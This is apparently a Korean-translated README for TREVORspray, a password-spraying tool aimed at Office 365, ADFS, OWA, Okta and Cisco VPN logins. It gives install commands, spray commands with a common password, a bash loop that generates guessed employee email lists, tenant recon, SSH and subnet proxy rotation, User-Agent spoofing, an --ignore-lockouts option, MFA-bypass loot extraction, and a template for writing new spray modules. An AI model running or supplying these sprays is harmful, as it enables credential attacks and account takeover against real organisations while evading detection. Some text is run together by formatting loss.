
SSH 프록시 로테이션, MFA 우회, 도메인 정찰 기능을 갖춘 모듈식 비밀번호 스프레이 도구입니다. O365, ADFS, OWA, Okta, Cisco VPN을 지원합니다. 자격 증명 검증 및 전리품 추출을 자동화합니다.
TREVORspray는 스레딩, SSH 프록시, 전리품 모듈 등을 갖춘 모듈형 비밀번호 스프레이 도구입니다!
제작: @thetechr0mancer
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray
함께 제공되는 블로그 포스트에서 재미있는 글과 멋진 데모를 확인하세요!

msol (Office 365)adfs (Active Directory Federation Services)owa (Outlook Web App)okta (Okta SSO)anyconnect (Cisco VPN)~/.trevorspray/tried_logins.txt에 기억)--ssh 또는 --subnet을 사용하여 여러 IP를 라운드 로빈 프록시로 사용User-Agent 및 기타 시그니처 스푸핑--delay, --jitter, --lockout-delay 지원--no-loot으로 비활성화)
--recon:
--recon 및 --users 사용):
OneDriveAzure Seamless SSOcorp.com의 이메일 목록을 확보하고 기본 구성이 작동하는지 스프레이를 실행하세요. 보통은 잘 작동합니다.--recon corp.com으로 token_endpoint를 획득하세요. token_endpoint는 스프레이 대상 URL입니다 (--url 옵션과 함께 사용).token_endpoint + 이메일 형식 조합을 찾으려면 여러 번 시도해야 할 수 있습니다.
corp.com을 공격하는 경우, corp.com을 스프레이하는 것만큼 쉽지 않을 수 있습니다. Corp의 모회사인 Evilcorp가 Azure 테넌트를 소유하고 있어 evilcorp.com의 token_endpoint를 대상으로 스프레이해야 할 수 있습니다. 또한 corp.com의 내부 도메인 corp.local이 corp.com 대신 사용될 수도 있습니다.[email protected]을 의 에 스프레이하는 대신 을 의 에 스프레이하게 됩니다.trevorspray --recon evilcorp.com
...
"token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...
trevorspray --recon evilcorp.com -u emails.txt --threads 10

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token
trevorspray -u [email protected] -p 'Welcome123' --delay 5
-n을 지정하지 않으면 현재 IP도 사용)trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]
# wordsmith 데이터셋 클론
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data
# 첫 글자 등장 빈도순 정렬
ordered_letters=asjmkdtclrebnghzpyivfowqux
# 첫 글자 반복
echo -n $ordered_letters | while read -n1 f; do
# 미국 성씨 상위 2000개 반복
head -n 2000 'usa/lnames.txt' | while read last; do
# f.last 형식으로 이메일 생성
echo "${f}.${last}@evilcorp.com"
done
done | tee f.last.txt
trevorspray -u f.last.txt -p 'Welcome123'
TREVORspray가 MFA를 성공적으로 우회하고 OAB(오프라인 주소록)를 검색하면 주소록이 LZX 형식으로 ~/.trevorspray/loot에 다운로드됩니다. LZX는 Microsoft가 사용하는 고대의 성가신 압축 알고리즘입니다.
# libmspack 설치 (LZX 파일 추출용)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make
# LZX 파일 추출
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# 모든 문자열 추출
strings oab.bin
# 이메일 추출 및 중복 제거
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
[-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
[-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]
A password sprayer with the option to load-balance traffic through SSH hosts
options:
-h, --help show this help message and exit
basic arguments:
-m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
Spray module to use (default: msol)
-up, --userpass USERPASS [USERPASS ...]
file(s) containing username and password pairs (format: 'username:password')
-u, --users USERS [USERS ...]
Usernames(s) and/or file(s) containing usernames
-p, --passwords PASSWORDS [PASSWORDS ...]
Password(s) and/or file(s) containing passwords
--url URL The URL to spray against
-r, --recon, --enumerate DOMAIN
Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
--export-tenants FILE
Export all discovered tenant domains to a file
advanced arguments:
Round-robin traffic through remote systems via SSH (overrides --threads)
-t, --threads THREADS
Max number of concurrent requests (default: 1)
-f, --force Try all usernames/passwords even if they've been tried before
-d, --delay DELAY Sleep for this many seconds between requests
-ld, --lockout-delay LOCKOUT_DELAY
Sleep for this many additional seconds when a lockout is encountered
-j, --jitter JITTER Add a random delay of up to this many seconds between requests
-e, --exit-on-success
Stop spray when a valid cred is found
-nl, --no-loot Don't execute loot activites for valid accounts
--ignore-lockouts Forces the spray to continue and not stop when multiple account lockouts are detected
--timeout TIMEOUT Connection timeout in seconds (default: 10)
--random-useragent Add a random value to the User-Agent for each request
-6, --prefer-ipv6 Prefer IPv6 over IPv4
--proxy PROXY Proxy to use for HTTP and HTTPS requests
-v, --verbose, --debug
Show which proxy is being used for each request
SSH Proxy:
Round-robin traffic through remote systems via SSH (overrides --threads)
-s, --ssh USER@SERVER [USER@SERVER ...]
Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
-i, -k, --key KEY Use this SSH key when connecting to proxy hosts
-b, --base-port BASE_PORT
Base listening port to use for SOCKS proxies
-n, --no-current-ip Don't spray from the current IP, only use SSH proxies
Subnet Proxy:
Send traffic from random addresses within IP subnet
--subnet SUBNET Subnet to send packets from
--interface INTERFACE
Interface to send packets on
아직 지원되지 않는 서비스/엔드포인트를 스프레이해야 하는 경우, 직접 스프레이 모듈을 작성할 수 있습니다! 사용자 지정 모듈은 TREVORspray의 모든 기능(예: 프록시, 지연, 지터 등)을 활용할 수 있으므로 훌륭한 선택입니다.
자체 스프레이 모듈 작성은 매우 간단합니다. lib/sprayers에 새 .py 파일(예: lib/sprayers/custom_sprayer.py)을 만들고 BaseSprayModule을 상속하는 클래스를 생성합니다. 클래스 이름은 원하는 대로 지정할 수 있습니다. HTTP 메서드와 요청에 필요한 기타 매개변수를 입력합니다 (예시는 lib/sprayers/base.py 또는 다른 모듈 참조).
check_response(). 이 메서드는 HTTP 응답을 평가하여 로그인이 성공했는지 여부를 결정합니다..py 제외)을 지정하여 사용자 지정 스프레이 모듈을 사용할 수 있습니다. 예: trevorspray -m custom_sprayer -u users.txt -p Welcome123.# Example spray module
from .base import BaseSprayModule
class SprayModule(BaseSprayModule):
# HTTP method
method = 'POST'
# default target URL
default_url = 'https://login.evilcorp.com/'
# body of request
request_data = 'user={username}&pass={password}&group={otherthing}'
# HTTP headers
headers = {}
# HTTP cookies
cookies = {}
# Don't count nonexistent accounts as failed logons
fail_nonexistent = False
headers = {
'User-Agent': 'Your Moms Smart Vibrator',
}
def initialize(self):
'''
Get additional arguments from user at runtime
NOTE: These can also be passed via environment variables beginning with "TREVOR_":
TREVOR_otherthing=asdf
'''
while not self.trevor.runtimeparams.get('otherthing', ''):
self.trevor.runtimeparams.update({
'otherthing': input("What's that other thing? ")
})
return True
def check_response(self, response):
'''
returns (valid, exists, locked, msg)
'''
valid = False
exists = None
locked = None
msg = ''
if getattr(response, 'status_code', 0) == 200:
valid = True
exists = True
msg = 'Valid cred'
return (valid, exists, locked, msg)
감사의 말씀 - 많은 감사를 드립니다:

#trevorforget
corp.comtoken_endpointevilcorp.comtoken_endpoint